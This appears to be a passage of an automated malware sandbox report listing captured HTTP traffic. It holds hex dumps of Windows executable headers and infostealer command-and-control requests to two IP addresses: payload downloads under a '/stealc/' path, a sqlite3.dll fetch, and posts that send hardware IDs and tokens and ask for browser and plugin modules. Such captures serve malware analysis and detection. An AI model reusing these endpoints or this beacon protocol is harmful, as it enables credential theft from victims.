Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 11:49:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 11:49:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 11:49:30 GMTContent-Type: application/octet-streamContent-Length: 1878528Last-Modified: Fri, 26 Jul 2024 11:17:18 GMTConnection: keep-aliveETag: "66a385be-1caa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 78 aa 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 9c 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 9c 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 66 61 62 66 71 6f 65 00 90 19 00 00 10 31 00 00 90 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 78 76 64 77 61 69 74 00 10 00 00 00 a0 4a 00 00 04 00 00 00 84 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4a 00 00 22 00 00 00 88 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 11:49:33 GMTContent-Type: application/octet-streamContent-Length: 1870848Last-Modified: Fri, 26 Jul 2024 11:16:43 GMTConnection: keep-aliveETag: "66a3859b-1c8c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 a0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 cd 42 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 82 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 81 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 78 61 6a 77 6c 6e 70 00 80 19 00 00 10 31 00 00 74 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 62 70 69 63 79 63 75 00 10 00 00 00 90 4a 00 00 04 00 00 00 66 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4a 00 00 22 00 00 00 6a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENX7wUC+MYl+R+dP6Ge+Ps/gAK2S4rAvLsS9lNlstWnrY2Ovw6/QYWUW40yWi3W2oq2TgmfD/F4rhcGc/Q3kxTRWn1J3nPhOAny4YuIpbKp/JxVo2IKfr0u2Ob+Xasi+8kVvlgcJFM/02j6m9rZf8SsufBGSnZuCNcAMbSRQwAt9ttIddTRQ/7dkFG7ZzhfDKlscCwPqu8roSfIr2wEDw126PJnTg8kgpdZV8FhO09Z9yZkJbvNRCuX40AaiKTP7/kep+t5XHG1Tp05wc6bODUUz8SiWkHpg7isRn5nplH5Pwj6qy8wfjiPn8r9T6Iz9u6hFIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1721994783452Host: self.events.data.microsoft.comContent-Length: 7973Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGDHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 44 41 31 44 41 37 38 35 35 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="hwid"8DA1DA7855D72284582127------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="build"sila------BAKFBKEHDBGHJJKFIEGD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="message"browsers------DBGHJEBKJEGHJKECAAKJ--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJDHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="message"plugins------JJJJEBGDAFHJEBGDGIJD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="message"fplugins------JECBGCFHCFIDHIDHDGDG--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003002&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEGHost: 85.28.47.31Content-Length: 7883Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 33 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000003002&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
